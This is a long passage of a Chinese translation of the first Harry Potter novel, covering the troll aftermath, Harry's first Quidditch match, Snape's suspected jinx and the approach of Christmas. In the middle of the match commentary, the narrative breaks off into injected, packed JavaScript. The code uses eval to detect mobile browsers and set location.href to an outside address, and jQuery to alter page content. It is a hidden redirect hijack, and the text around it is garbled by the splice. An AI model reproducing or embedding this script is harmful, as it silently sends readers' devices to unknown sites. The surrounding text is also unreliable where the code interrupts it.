巨怪痛苦地吼叫起来,扭动着身子,连连挥舞手里的木棍,哈利死死地搂住它不放;巨怪随时都会把他甩下来,然后抓住他,用木棍给他可怕的一击。 赫敏吓呆了,扑通瘫倒在地板上;罗恩抽出自己的魔杖——他正不知道该怎么办呢,却听见自己喊出了脑子里想到的第一句咒语:“羽加迪姆勒维奥萨!” 木棍突然从巨怪手里飞出,高高地、高高地升向空中,又慢慢地转了个身——落下来,敲在它主人的头上,发出惊天动地的一声爆响。巨怪原地摇摆了一下,面朝下倒在地板上,轰隆一声,把整个房间都震得发抖。 哈利爬起身来。他浑身颤抖,气喘吁吁。罗恩站在那里,瞪眼看着自己所做的事情,魔杖还高高地举在手里。 最后是赫敏先开口说话了。 “它——死了吗?” “我认为没有,”哈利说,“它大概只是被打昏了。” 他弯下腰,从巨怪的鼻子里拔出自己的魔杖,那上面沾着一大块一大块灰色的胶状物质。 “呸――巨怪的鼻子牛儿。” 他把魔杖在巨怪的裤子上擦了擦。 突然传来一阵猛烈的撞门声和响亮的脚步声,房间里的三个人都抬起头来。他们没有意识到刚才闹出了多么大的动静,一定是楼下的人听见了剧烈的碰撞声和巨怪的吼叫声。片刻之后,麦格教授冲进了房间,后面紧跟着斯内普,奇洛在最后。奇洛只朝巨怪看了一眼,就发出了一阵无力的抽泣,坐在一个抽水马桶上,紧紧攥住自己的胸口。 斯内普弯腰去看巨怪。麦格教授看着罗恩和哈利。哈利从未见过她这么生气的样子。她的嘴唇煞白。为格兰芬多赢得五十分的希望迅速从哈利脑海中消失了。 “你们到底在玩什么鬼把戏?”麦格教授说,声音里带着冷冰冰的愤怒。哈利看着罗恩,只见他仍然高举着魔杖站在那里。 “算你们走运,没有被它弄死。你们为什么不老老实实待在宿舍里?” 斯内普用逼人的目光迅速剜了哈利一眼。哈利看着地上。他希望罗恩赶紧把魔杖放下来。这时,阴影里传来一个低低的声音。 “请别这样,麦格教授——他们是在找我。” “格兰杰小姐!” 赫敏终于挣扎着站了起来。 “我来找巨怪,因为我——我以为我能独自对付它——你知道,因为我在书上读到过它们,对它们很了解。” 罗恩放下了魔杖。赫敏·格兰杰对一位老师撤下了弥天大谎?“如果他们没有我到我,我现在肯定已经死了。哈利把他的魔杖戳进了巨怪的鼻孔,罗恩用巨怪自己的木棍把它打昏了过去。他们来不及去找人。他们赶来的时候,巨怪正要把我一口吞掉。” 哈利和罗恩竭力装出一副早已熟悉这个故事的样子。 “噢——如果是这样...”麦格教授注视着他们,沉吟道,“格兰杰小姐,你这个傻姑娘,你怎么能认为你独自就能对付一个大山般的巨怪呢?” 赫敏垂下了头。哈利一句话也说不出来。赫敏是最不可能违反校规的人,而现在,她为了使他们摆脱麻烦,居然撒谎说自己违反了校规。这简直就像斯内普开始给大家发糖一样,令人难以置信。 “格兰杰小姐,因为这件事,格兰芬多要被扣去五分,”麦格教授说,“我对你感到很失望。如果你一点儿也没有受伤,最好赶紧回格兰芬多城堡去。学生们都在自己的学院里享用万圣节晚宴呢。” 赫敏离去了。 麦格教授转向哈利和罗恩。 “好吧,我仍然要说算你们走运,没有几个一年级学生能同一个成年的巨怪展开较量的。你们每人为格兰芬多赢得了五分。我会把这件事通知邓布利多教授的。你们可以走了。” 他们急忙走出房间,一言不发地上了两层楼梯。总算闻不到巨怪身上的恶臭了,他们松了口气。 “我们应该赢得不止十分。”罗恩嘟嘟囔囔地抱怨。 “只有五分,算上她在赫敏身上扣掉的分数。” “赫敏真好,她挺身而出,使我们摆脱了麻烦。”罗恩承认道。“不过你别忘了,我们确实救了她。” “如果我们没有把她和那东西关在一起,她也许根本就不用别人去救。”哈利提醒他。 他们来到胖夫人的肖像前面。 “猪鼻子。”他们说完口令,就钻了进去。 公共休息室里挤满了人,吵吵闹闹的。每个人都在吃着送上来的食物。只有赫敏独自站在门口等着他们。一时间,三个人都很尴尬。接着,他们谁也没看谁,只同时说了一句“谢谢你”,就匆匆奔向自己的盘子。 然而就从那一刻起,赫敏格兰杰成了他们的朋友。当你和某人共同经历了某个事件之后,你们之间不能不产生好感,而打昏一个十二英尺高的巨怪就是一个这样的事件。 12. 魁地奇比赛 进入十一月后,天气变得非常寒冷。学校周围的大山上灰蒙蒙的,覆盖着冰雪,湖面像淬火钢一样又冷又硬,每天早晨,地面都有霜冻。从楼上的窗口可以看见海格,他全身裹在长长的鼹鼠皮大衣里,戴着兔毛皮手套,穿着巨大的海狸毛皮靴子,在魁地奇球场上给飞天扫帚除霜。 魁地奇赛季开始了。哈利经过几个星期的训练,星期六就要参加他有生以来的第一次比赛了,是格兰芬多队对斯莱特林队。如果格兰芬多队赢了,他们在学院杯赛的名次就会升到第二名。 几乎没有人看见过哈利打魁地奇,因为伍德决定对哈利参赛的事严加保密,要把他作为他们队的一个秘密武器。但是哈利要担任找球手的消息还是泄漏了出去。结果,有人对他说他会打得很棒,也有人对他说他们到时候要举着床垫。在下面跟着他跑,防止他摔下来——哈利不知道哪种说法更糟糕。 说起来真是幸运,哈利现在有了赫敏这样一位朋友。如果没有赫敏,他真不知道怎么完成那么多家庭作业,因为伍德强迫他们抓紧每分钟训练魁地奇。赫敏还借给他一本《魁地奇溯源》,他发现这本书读起来非常有趣。 哈利得知,魁地奇比赛有七百种犯规的办法,而它们都出现在一四七三年的一场世界杯比赛中;找球手通常是个头最小、速度最快的选手,而最严重的魁地奇事故似乎都发生在他们身上;尽管魁地奇比赛时很少有人死亡,但据说裁判经常消失得无影无踪,几个月后才出现在撒哈拉沙漠。 赫敏自从哈利和罗恩把她从庞大的巨怪手里救出来后,她对于违反校规便不那么在意了,这就使她变得可爱多了。 哈利第一次参加魁地奇比赛的前一天,他们三人趁课间休息的时候来到外面寒冷的院子里。她已经用魔法为他们变出了一捧明亮的蓝色火焰,可以放在一只果酱罐里随身携带。他们站在那里,背对着火焰取暖。这时,斯内普从院子里穿过。哈利一眼就注意到斯内普走路一瘸一拐的。哈利、罗恩和赫敏靠得更拢一些,想挡住火焰,不让别人看见;他们知道这肯定是不被允许的。不幸的是,他们脸上那种心虚的表情吸引了斯内普的视线。他一瘸一拐地走过来。他没有看见火焰,但他似乎在寻找一个理由,不管怎么说都要训他们一顿。 “你手里拿的是什么,波特?” 是《魁地奇溯源》。哈利给他看了。 “图书馆的书是不许带出学校的,”斯内普说,“把它给我。格兰芬多被扣掉五分。” “他临时编了个规定。”哈利看着斯内普一瘸一拐地走远,忿忿不平地嘟囔道。“不知道他的腿怎么了?” “不知道,但我希望他疼得够呛。”罗恩幸灾乐祸地说。 那天晚上,格兰芬多公共休息室里闹哄哄的。哈利、罗恩和赫敏一起坐在一扇窗户旁边。赫敏正在检查哈利和罗恩的魔法课作业。她坚决不让他们抄她的作业(“那样你们能学到什么呢?”),但是请她检查一遍之后,他们总能得到正确的答案。 哈利感到不安。他想把《魁地奇溯源》要回来,使自己的神经放松一下,不要老想着明天的比赛。他为什么要害怕斯内普?于是,他站起来对罗恩和赫敏说,他要去问问斯内普能不能把书还给他。 “换了我才不去呢。”他们俩异口同声地说。但是哈利有了一个主意,如果旁边有其他老师听着,斯内普便不会拒绝他。 他下楼来到教工休息室,敲了敲门。没有人回答。他又敲了敲,还是没有动静。 没准斯内普把书留在里面了?值得试一试。他把门推开一道缝,朝里面望去——眼前出现了一副可怕的景象。 房间里只有斯内普和费尔奇两个人。斯内普把他的长袍撩到了膝盖以上。 他的一条腿鲜血淋漓,血肉模糊。费尔奇正在把绷带递给他。 “该死的东西,”只听斯内普说,“你怎么可能同时盯住三个脑袋呢?” 哈利正要轻轻把门关上,可是——“波特!” 斯内普赶紧放下长袍,挡住他的伤腿。他气得脸都歪了。哈利吓得喘不过气来。 “我想知道我能不能拿回我的书。” “滚出去!出去!” 哈利不等斯内普给格兰芬多扣分,就赶紧离开了。他一路狂奔着上了楼。 “书拿到了吗?”哈利回到罗恩和赫敏身边时,罗恩问道,“怎么回事?” 哈利压低声音,把刚才看到的一切都告诉了他们。 “你知道这意味着什么吗?”最后,他屏住呼吸说道。“万圣节前夕,他想从那条三个脑袋的大狗身边通过!当时我们看见他时,他正要往那里去——他在寻找大狗看守的那件东西!我敢用我的飞天扫帚打赌,是他放那头巨怪进来的,为了转移人们的注意力!” 赫敏的眼睛睁得圆圆的。 “不——他不会的,”她说,“我知道他不太好,但他决不会去偷邓布利多严加保管的东西。” “说老实话,赫敏,你总认为所有的老师都是圣人。”罗恩很不客气地说,“我同意哈利的话。我认为斯内普什么事都做得出来。 可是他在寻找什么呢?那只大狗在看守什么?哈利上床时,脑子里还嗡嗡地响着这个问题。纳威发出了响亮的鼾声,哈利却久久无法入睡。他想排除杂念——他需要睡觉,他必须睡觉,再过几个小时,他就要参加他的第一场魁地奇比赛了——但是,刚才他看见斯内普的腿时,斯内普脸上的表情总令他难以忘记。 第二天一早,天气晴朗而寒冷。餐厅里弥漫着烤香肠的诱人气味,每个人都期待着一场精彩的魁地奇比赛,兴高采烈地聊个不停。 “你必须吃几口早饭。” “我什么也不想吃。” “吃一点儿烤面包吧。”赫敏哄劝道。 “我不饿。” 哈利的感觉糟透了。再过一个小时,他就要走向赛场了。 “哈利,你需要保持旺盛的体力。”西莫·斐尼甘说,“找球手总是对方重点防范的人。” “谢谢你,西莫。”哈利说,他看着西莫在往他的香肠上涂抹厚厚的番茄酱。 到了十一点钟,似乎全校师生都来到了魁地奇球场周围的看台上。许多学生还带了双筒望远镜。座位简直被升到了半空,但有时仍然难以看清比赛情况。 罗恩和赫敏来到最高一排,加入纳威、西莫和西哈姆队球迷迪安的行列。为了给哈利一个惊喜,他们用一条被小老鼠斑斑弄脏的床单绘制了一条巨大的横幅,上面写着波特必胜,擅长绘画的迪安,还在下面画了一头很大的格兰芬多狮子。然后,赫敏还施了一个巧妙的魔法,让横幅上的颜料闪烁着不同的色彩。 与此同时,在更衣室里,哈利和其他队员正在换上他们鲜红色的魁地奇队服(斯莱特林队穿的是绿衣服)。 伍德清了清嗓子让大家安静下来。 “好了,小伙子们。”他说。 “还有姑娘们。”追球手安吉利娜·约翰逊说。 “还有姑娘们。”伍德赞同道,“是时候了。” “这个重要的时刻。”弗雷德·韦斯莱说,“我们大家一直在等待的时刻。”乔治说。 “奥利弗的讲话我们已经记得烂熟,”弗雷德对哈利说,“我们去年就在队里。” “闭嘴,你们两个。”伍德说,“这是格兰芬多这么多年来最好的一支队伍;我们会赢的。我知道。” 他狠狠地瞪着大家,似乎在说:“要不够你们受的。” “好了,时间到了。祝大家好运。” 哈利跟着弗雷德和乔治走出更衣室,然后走向欢呼鼎沸的球场,他希望自己的膝盖不要发软。 霍琦夫人做裁判。她站在球场中央,手里拿着她的飞天扫帚,等待着双方队员。 “听着,我希望大家都公平、诚实地参加比赛。”队员们一聚拢到她身边,她就说道。哈利注意到,她的这句话,似乎是专门针对斯莱持林队的队长、六年级学生马库斯·弗林特说的。哈利觉得马库斯看上去似乎有几分巨怪的血统。哈利从眼角看见了那条高高飘扬的横幅,在人群上方闪耀着“波特必胜”的字样。他的心顿时欢跳起来。他觉得有了勇气。 “请大家骑上飞天扫帚。” 哈利跨上他的光轮2000。 霍琦夫人使劲吹响了她的银哨。 十五把飞天扫帚拔地而起,高高地升上天空。比赛开始了。 “鬼飞球立刻被格兰芬多的安吉利娜·约翰逊抢到了——那姑娘是一个多么出色的追球手,而且长得还很迷人——” “乔丹!” “对不起,教授。” 李·乔丹是韦斯莱孪生兄弟的朋友。他正在麦格教授的密切监视下,担任比赛的解说员。 “她在上面真是一路飞奔,一个漂亮的传球,给了艾丽娅·斯平内特,她是奥利弗·伍德慧眼发现的人才,去年还只是个替补队员——球又传给了约翰逊,然后——糟糕,斯莱特林队把鬼飞球抢去了,斯莱特林队的队长马库斯.弗林特得到了鬼飞球,飞奔而去——弗林特在上面像鹰一样飞翔——他要得分了——没有,格兰芬多队的守门员伍德一个漂亮的动作,把球断掉了,现在是格兰芬多队拿球——那是格兰芬多队的追球手凯蒂·贝尔,在球场上空,在弗林特周围敏捷地冲来中去——哎哟——那一定很疼,被一只游走球击中了后脑勺——鬼飞球被斯莱特林队抢断——那是德里安·普塞飞快地朝球门柱冲去,但是他被另一只游走球打倒了——游走球被弗雷德或者乔治韦斯莱拨到一边,那两个双胞胎实在难以分清——格兰芬多队的击球手干得真漂亮,约翰逊又夺回了鬼飞球,前面没有阻力,她拼命飞奔——真像是飞一样——躲开一只游走球——球门柱就在前面——来吧,好,安吉利娜——守门员布莱奇俯冲过来——漏过了——格兰芬多队得分了!”格兰芬多们的欢呼声在寒冷的天空中回荡,其中还夹杂着斯莱特林们的怒吼和嘘声。 “借光,借光,让一让。” “海格!” 罗恩和赫敏互相挤了一挤,腾出地方让海格坐进来。 “我刚才在我那小屋里看的,”海格拍着他挂在脖子上的那只大望远镜说道,“可是那和在人群里看比赛气氛不一样。飞贼还不见踪影,是吗?” “没看见,”罗恩说,“哈利还没什么要做的。” “只要没出麻烦,就算走运。”海格说着,举起望远镜,费力地看着空中的一个小点——那就是哈利。 哈利在很高的空中,在赛场上方轻盈地滑来滑去,眯着眼睛搜寻飞贼的影子。这是他和伍德制订的比赛计划的一部分。 “你先躲在一边,等看见飞贼再说,”伍德这样说,“我们不想让你早早地就遭到袭击。” 安吉利娜得分后,哈利翻了几个跟头,表达自己喜悦的情绪。现在他又回去寻找飞贼了。有一次,他突然看见金光一闪,但这只是韦斯莱孪生兄弟中某一个的手表的反光;还有一次,一只游走球决定朝他这边冲来,那样子就像一只炮弹,但是哈利躲开了,弗雷德追着球赶来。 “没事儿吧,哈利?”弗雷德只喊了一声,就狠狠地把球打向马库斯·弗林特那边。 “斯莱特林队得球,”李·乔丹说道,“追球手普塞低头躲过两只游走球,又躲过韦斯莱孪生兄弟和追球手贝尔,奔向——等一等——那是飞贼吗?” 德里安·普塞只顾扭头看从他左耳边飞过的一道金光,把鬼飞球漏掉了,人群中传出一片窃窃私语。 哈利看见飞贼了。他心里一阵激动,俯冲下去,追逐那道金色的流光。斯莱特林队的找球手特伦斯·希金斯也看见了。两人并排朝飞贼飞奔而去——追球手们似乎都忘记了他们自己应该做的事情,一个个悬停在空中,注视着。 哈利的速度比希金斯快——他能看见那只小小的圆球,翅膀扑扇着,在前面飞蹿——他又猛地加快了速度——嘭!下面的格兰芬多们传出一阵愤怒的吼叫声——马库斯·弗林特故意冲撞哈利,哈利的飞天扫帚猛地偏离方向,但哈利死死地抓住它。“犯规!”格兰芬多们大声叫道。 霍琦夫人怒气冲冲地责备了弗林特,然后命令格兰芬多队在球门柱发任意球。但是,当然啦,在一片混乱中,金色飞贼又从视线中消失了。 看台上,迪安·托马斯大声嚷道:“把他罚下场,裁判!红牌!” “这不是足球,迪安,”罗恩提醒他,“在魁地奇比赛中,是不能把人罚下场的——还有,红牌是什么?” 可是海格赞成迪安的意见。 “他们应该改变一下比赛规则,弗林特在空中差点把哈利撞了下来。” 李·乔丹觉得很难做到不偏不倚。 “这样——经过刚才那个明显而卑鄙的作弊行为——” “乔丹!”麦格教授低声吼道。 “我是说,经过刚才那个公开的和令人反感的犯规行为――” “乔丹,我提醒你——” “好吧,好吧。弗林特差点儿使格兰芬多队的找球手丧命,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338695|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相信这种事情谁都会遇到,所以格兰芬多队罚球,被艾丽娅拿到了,她把球传开,很顺利,比赛继续进行,格兰芬多队仍然控制着球。” 就在哈利躲过另一只嗖嗖旋转、擦着他头皮飞过的游走球时,事情发生了。他的飞天扫帚突然很吓人地抖了一下。一时间,他以为自己要掉下去了。他两只手紧紧抓住扫帚把,并用膝盖死死夹住。他从未有过这样害怕的感觉。 又来了。就好像飞天扫帚拼命想把他摔下去似的。可是,照理说光轮2000是不会突然决定把主人摔下去的。哈利试着转向格兰芬多队的球门柱;他隐隐约约打算叫伍德暂停比赛——接着他发现他的飞天扫帚完全不受控制了。他无法让它调头。他根本无法指挥它。飞天扫帚左拐右拐地在空中穿梭,不时“嗖嗖”地剧烈晃动着,差点把他从上面摔下来。 李还在滔滔不绝地解说。 “斯莱特林队得球——弗林特拿到鬼飞球——传给艾丽娅——传给贝尔——被一只游走球狠狠打中面孔,希望把他的鼻子打断——开个玩笑,教授——斯莱特林队得分——哦,糟糕...” 斯莱特林们欢呼雀跃。似乎谁也没有注意到哈利的飞天扫帚表现异常。扫帚一路疯狂地抽搐、扭动着,慢慢地、越来越高地使哈利远离了赛场。 “真不知道哈利想做什么。”海格嘟嚷着。他通过望远镜仔细看着。“如果我不是这么了解他,就会以为他无法控制他的扫帚了——但是他不可能...” 突然。看台上的人们全部向上指着哈利。他的飞天扫帚开始不停地翻腾打滚,哈利只能勉强支撑着不掉下来。突然,飞天扫帚又是一阵疯狂的扭动,哈利被它甩了下来。他现在仅用一只手抓住扫帚把,悬在空中。 “刚才弗林特撞他时,扫帚把是不是出了问题?”西莫小声说。“不可能,”海格说,他的声音微微发颤,“除了厉害的黑魔法,没有什么能干扰一把飞天扫帚——小孩子是不可能对光轮2000施这种魔法的。”听了这话,赫敏一把抓住海格的望远镜,她没有抬头去看哈利,而是开始焦急地眺望人群。 “你在做什么?”罗恩挣扎着说,脸色死灰一般。 “我早就猜到了,”赫敏喘着气说,“是斯内普——看。” 罗恩抓过望远镜。斯内普站在他们对面的看台中间。他眼睛紧盯着哈利,嘴里不出声地念念有词。 “他在使坏——给飞天扫帚念恶咒。”赫敏说。 “我们怎么办呢?” “看我的。” 不等罗恩再说一个字,赫敏就消失了。 罗恩把望远镜的镜头又对准了哈利。飞天扫帚震动得太厉害了,哈利不可能再悬很长时间。观众们全部站了起来,惊恐地注视着,韦斯莱孪生兄弟飞了上去,想把哈利安全地拉到他们的一只扫帚上,然而不行——每当他们接近他时,飞天扫帚就噌的一下蹿得更高。于是,他们落下来一些,在他下面打转,显然是想在他坠落时接住他。马库斯·弗林持抓住鬼飞球,投中了五次,却没有一个人注意他。 “快点儿,赫敏。”罗恩绝望地低声说。 赫敏艰难地穿过人群,来到斯内普所处的看台,此刻她正沿着他身后的那排座位飞快地走着;她撞得奇洛教授一头摔向前排的座位,都没有停下来说一声对不起。总算到了斯内普身边,她蹲下去,抽出她的魔杖,低声说了几句经过推敲的话。明亮的蓝色火苗从她的魔杖里蹿出来,扑向斯内普长袍的下摆。 过了大约三十秒钟,斯内普才意识到自己身上着了火。昕到一声惊叫,赫敏知道她的工作完成了。她迅速把火从他身上收拢,收进她的口袋,然后顺着那排座位匆匆返回——斯内普永远不会知道是怎么回事。 这就够了。高空中,哈利突然能够爬回到扫帚把上了。“纳威,你可以看了!”罗恩说。在刚才的五分钟里,纳威一直把脸埋在海格的夹克衫里哭泣。哈利飞快地朝地面俯冲,人们看见他用手捂住嘴巴,就好像要呕吐似的——他四脚着地落在地上——咳嗽——一个金色的东西落进他的手掌。 “我抓住了飞贼!”他大喊道,把球高高挥过头顶,比赛在一片混乱中结束了。 “他没有抓住飞贼,他差点把它吞了下去。”二十分钟后,弗林特还在忿忿不平地吼叫,但是完全不起作用——哈利并没有违犯任何规则,李·乔丹还在喜悦地大喊比赛结果——格兰芬多队以一百七十分比六十分获胜。不过,哈利没有听到这些。他和罗恩、赫敏一起回到海格的小屋,主人正在为他沏一杯浓茶。 “是斯内普干的,”罗恩在向大家解释,“赫敏和我看见了。他在给你的飞天扫帚念咒,嘴里嘀嘀咕咕的,眼睛一直死盯着你。” “胡说,”海格说,他对看台上发生在自己身边的事一无所知,“斯内普为什么要做这样的事?” 哈利、罗恩和赫敏交换了一下眼光,不知道该怎么告诉他。哈利决定实话实说。 “我发现了他的一些事情,”他对海格说。“万圣节前夕,他想通过那条三个脑袋的大狗。它咬了他。我们认为他是想偷大狗看守的东西。”海格重重地放下茶壶。 “你们怎么会知道三个头的路威?”他问。 “三个头的路威?” “是啊——它是我的——是从我去年在酒店认识的一个希腊佬手里买的——我把它借给邓布利多去看守——” “看守什么?”哈利急切地问。 “行了,不要再问了,”海格粗暴地说,“那是一号机密,懂吗?” “可是斯内普想去偷它。” “胡说,”海格又说,“斯内普是霍格沃茨的老师,他决不会做那样的事。” “那他为什么想害死哈利?”赫敏大声问道。 这个下午发生的事件,似乎使她对斯内普的看法发生了很大转变。 “我如果看见不怀好意的凶煞,是能够认出来的。我在书上读到过关于他们的所有介绍!你必须跟他们目光接触,斯内普的眼睛一眨也不眨,我看见的!” “我告诉你,你错了!”海格暴躁地说,“我不知道哈利的飞天扫帚为什么会有那样的表现,但是斯内普决不可能想害死一个学生!现在,你们三个都听我说——你们在插手跟你们无关的事情。这是很危险的。忘记那条大狗,忘记它在看守的东西,这是邓布利多教授和尼可·勒梅之间的——” “啊哈!”哈利说,“这么说还牵涉到一个名叫尼可·勒梅的人,是吗?” 海格大怒,他在生自己的气。 13. 厄里斯魔镜 圣诞节即将来临。十二月中旬的一天早晨,霍格沃茨学校从梦中醒来,发现四下里覆盖着好几尺厚的积雪,湖面结着硬邦邦的冰。韦斯莱孪生兄弟受到了惩罚,因为他们给几只雪球施了魔法,让它们追着奇洛到处跑,砸在他的缠头巾后面。几只猫头鹰飞过风雪交加的天空递送邮件,经历了千辛万苦,它们必须在海格的照料下恢复体力,才能继续起飞。 大家都迫不及待地盼着放假。虽然格兰芬多公共休息室和礼堂里都燃着熊熊旺火,但刮着穿堂风的走廊却变得寒冷刺骨,教室的窗户玻璃也被凛冽的寒风吹得咔哒作响。最糟糕的是,斯内普教授的课都是在地下教室上的,他们一哈气面前就形成一团白雾,只好尽量靠近他们热腾腾的坩埚。 “我真的很替那些人感到难过,”在一次魔药课上,德拉科.马尔福说道,“他们不得不留在霍格沃茨过圣诞节,因为家里人不要他们。” 他说话的时候眼睛看着哈利。克拉布和高尔在一旁窃笑。哈利正在称出研成粉末的狮子鱼脊椎骨,没有理睬他们。自从魁地奇比赛之后,马尔福比以前更加阴沉了。他为斯莱特林队的失败而愤慨,说下次比赛将由一只大嘴巴树蛙代替哈利充当找球手。他本想把大家都逗得哈哈大笑,却发现并没有人觉得他的话可笑,因为大家都很佩服哈利居然能够牢牢地待在他那横冲直撞的飞天扫帚上。马尔福又嫉妒又气愤,只好转过来嘲笑哈利没有一个像样的家庭。 确实,哈利不想回女贞路过圣诞节。上个星期,麦格教授过来登记留校过节的学生名单,哈利立刻就在上面签了名。他一点儿也不为自己感到难过。这很可能是他这辈子度过的最好的圣诞节了。罗恩和他的两个孪生哥哥也准备留下来,因为韦斯莱夫妇要到罗马尼亚去看望查理。 他们上完魔药课离开地下教室时,发现前面的走廊被一棵很大的冷杉树挡得严严实实。看见树底下伸出来的那两只大脚,又听见那响亮的呼哧呼哧声,他们知道树后面的一定是海袼。 “嘿,海格,需要帮助吗?”罗恩问道,把头从那些枝枝桠桠间伸了过去。 “不用,我能行,谢谢你,罗恩。” “你能不能闪开,别挡着道?”他们身后传来马尔福冷冰冰的、拖着长腔的声音。“你是不是想挣几个零花钱哪,韦斯莱?我猜想,你大概希望自己从霍格沃茨毕业后也去看守狩猎场吧?——海格的小屋和你原先那个家比起来,一定像个宫殿吧!” 罗恩一头朝马尔福冲去,恰恰就在这时,斯内普在楼梯上出现了。 “韦斯莱!” 罗恩松开马尔福胸前的衣服。 “是有人先惹他的,斯内普教授。”海格从树后面伸出他毛发蓬乱的大脑袋,说道,“马尔福刚才侮辱他的家庭。” “不管怎么样,动手打人都是违反霍格沃茨校规的,海格。”斯内普用圆滑的声音说,“格兰芬多被扣去五分,韦斯莱,你应该感到庆幸,没有扣得更多。好了,快走吧,你们大家。” 马尔福、克拉布和高尔粗鲁地从树旁边挤过,把针叶碰落得到处都是。一边还得意地笑着。“我要教训他,”罗恩看着马尔福的背影,咬牙切齿地说,“总有一天,我要狠狠地教训——” “我真讨厌他们两个人,”哈利说,“马尔福和斯内普。” “好了,高兴一点吧,快要过圣诞节了。”海格说,“你们猜怎么着,快跟我到餐厅去看看吧,真是妙不可言。” 于是,哈利、罗恩和赫敏跟着海格和他的冷杉树,一起来到礼堂里,麦格教授和弗立维教授都在那里,忙着布置圣诞节的装饰品。 “啊,海格,最后一棵树也拿进来了——放在那边的角落里,好吗?” 礼堂显得美丽壮观。墙上挂满了冬青和槲寄生组成的垂花彩带,房间里各处竖着整整十二棵高耸的圣诞树,有些树上挂着亮晶晶的小冰柱,有些树上闪烁着几百支蜡烛。 “还有几天才放假啊?”海格问。 “只有一天啦。”赫敏说,“噢,这倒提醒了我——哈利,罗恩,还有半个小时才吃饭呢,我们应该到图书馆去。” “噢,是啊,你说得对。”罗恩说着,恋恋不舍地把目光从弗立维教授身上移开。教授正在用他的魔杖喷出一串串金色的泡泡,并把它们挂在新搬来的那棵树的枝子上。 “图书馆?”海格说,一边跟着他们走出礼堂,“要放假了还看书?未免太用功了吧,啊?” “噢,我们不是复习功课。”哈利愉快地对他说,“自从你提到尼可·勒梅之后,我们就一直在设法弄清他是谁。” “什么?”海格显得很惊恐。“听我说——我告诉过你们——罢手吧。那条大狗看守的东西,与你们毫无关系。” “我们只想知道尼可·勒梅是谁,没别的。”赫敏说。 “莫非你愿意告诉我们,免得我们那么费事?”哈利又说道,“我们翻了至少有一百本书了,却连他的影子也没有发现——你就绘我们一点提示吧——我知道我曾经在什么地方看到过他的名字。” “我什么也不会说的。”海格干巴巴地说。 “那么我们只好自己去找了。”罗恩说。他们匆匆往图书馆赶去,留下海格一个人站在那里,一脸怒气。 确实,自从海格说漏了嘴以后,他们一直在书里寻找勒梅的名字,除此之外,他们还有什么办法可以弄清斯内普想偷的是什么东西呢?麻烦的是,他们很难知道从何处入手,不知道勒梅有什么突出成就,能够被写进书里。他不在《二十世纪的大巫师》里,也不在《当代著名魔法家名录》里。另外,《现代魔法的重大发现》和《近代巫术发展研究》中也找不到他的名字。还有,当然啦,单是馆内藏书的规模就令人望而却步,那里有成千上万本书,几千个书架,几百条狭窄的通道。 赫敏从口袋里掏出一张清单,上面列着她决定要查找的主题和书名。与此同时,罗恩在一排图书前溜达着,漫无目标地把一些书从书架上面抽出来。 哈利不知不觉来到禁书区。不幸的是,要查找任何一本禁书都必须有某位老师亲笔签名的纸条,哈利知道他是不可能弄到这种纸条的。这些书里,包含着从不在霍格沃茨课堂上讲授的很厉害的黑魔法,只有高年级学生在研究高深的“黑魔法防御术”时才能读到。 “你想找什么,孩子?” “没什么。”哈利回答。 图书馆管理员平斯夫人朝他挥舞着一把鸡毛掸子。 “那么你最好出去。走吧——出去!” 哈利离开了图书馆,真希望刚才他脑子灵活一点,能信口编出几句谎话。他和罗恩、赫敏一致认为,最好别向平斯夫人打听在什么地方能找到勒梅。他们知道她肯定能够告诉他们,但他们不能冒险让斯内普探听到他们想做什么。 哈利在外面的走廊里等着,看另外两个人是否能有所发现,但他并不抱很大的希望。他们已经找了两个星期,但只是利用了功课之余的时间,所以一无所获也并不奇怪。他们最需要的是痛痛快快地好好搜寻一番,别让平斯夫人在后面盯着,把呼吸喷在他们的后脖颈上。 五分钟后,罗恩和赫敏回到他身边,失望地摇了摇头。他们一起去吃午饭。 “我不在的时候,你们还要继续查找,好吗?”赫敏说,“一旦有什么发现,就派一只猫头鹰告诉我。” “你也可以问问你的父母,他们是不是知道勒梅这个人。”罗恩说,“问问他们是很安全的。” “非常安全,因为他们俩都是牙医。”赫敏说。 放假后,罗恩和哈利玩得太开心了,没有多少心思去想勒梅。 宿舍完全归他们支配,公共休息室里的人也比平常少了许多,他们能够占领炉火边几把更舒服的扶手椅了。这会儿,他们就坐在那里,吃着所有能用烤叉戳起的食物——面包、面饼、蘑菇,一边设计着能使马尔福被开除的方案,尽管这些方案都不可能付诸实施,但是谈谈总是令人开心的。 罗恩还开始教哈利下巫师棋。巫师棋和麻瓜棋一模一样,但它的棋子都是活的,所以使人感觉更像是在指挥军队作战。罗恩的那副棋已经很旧了,破破烂烂的。罗恩所有的东西原先都属于他家里的其他人,这副棋是他爷爷的。不过,棋子老一些丝毫没有妨碍。罗恩对它们非常熟悉,毫不费力就能让它们听从他的调遣。 哈利用的是西莫·斐尼甘留给他的那套棋子,它们根本不信任他。他的水平还不很高,棋子们东一句西一句地对他指手画脚,把人的脑袋都吵昏了:“不要把我派到那里,你没看见他的马吗?派他去吧,他牺牲了没有关系。” 圣诞节前夜,哈利上床睡觉的时候,只盼着第二天可以大吃一顿,开开心心地玩一场,他根本没有想到会收到礼物。然而,第二天一早醒来,他第一眼看见的就是他床脚边放着的一小堆包裹。 “圣诞节快乐。”哈利摸索着下了床,套上晨衣,这时罗恩睡眼惺忪地说。 “也祝你快乐。”哈利说,“你快来看看,我收到了几件礼物!” “那你以为会收到什么?卷心菜吗?”罗恩说,转向他自己的那堆包裹,它比哈利的那堆要大得多。 哈利拿起最顶上的那个纸包。它外面包着厚厚的牛皮纸,上面龙飞风舞地写着“海格致哈利”。里面是一只做工很粗糙的笛子,显然是海格自已动手做的。哈利吹了一下——声音有点像猫头鹰叫。 第二个很小的纸包里有一张纸条。 “我们收到了你的信,附上给你的圣诞礼物。弗农姨父和佩妮姨妈。”用透明胶带粘在纸条上的是一枚五十便士的硬币。 “还算友好。”哈利说。 罗恩被那枚硬币迷住了。 “真古怪!”他说,“这样的形状!这就是麻瓜们的钱吗?” 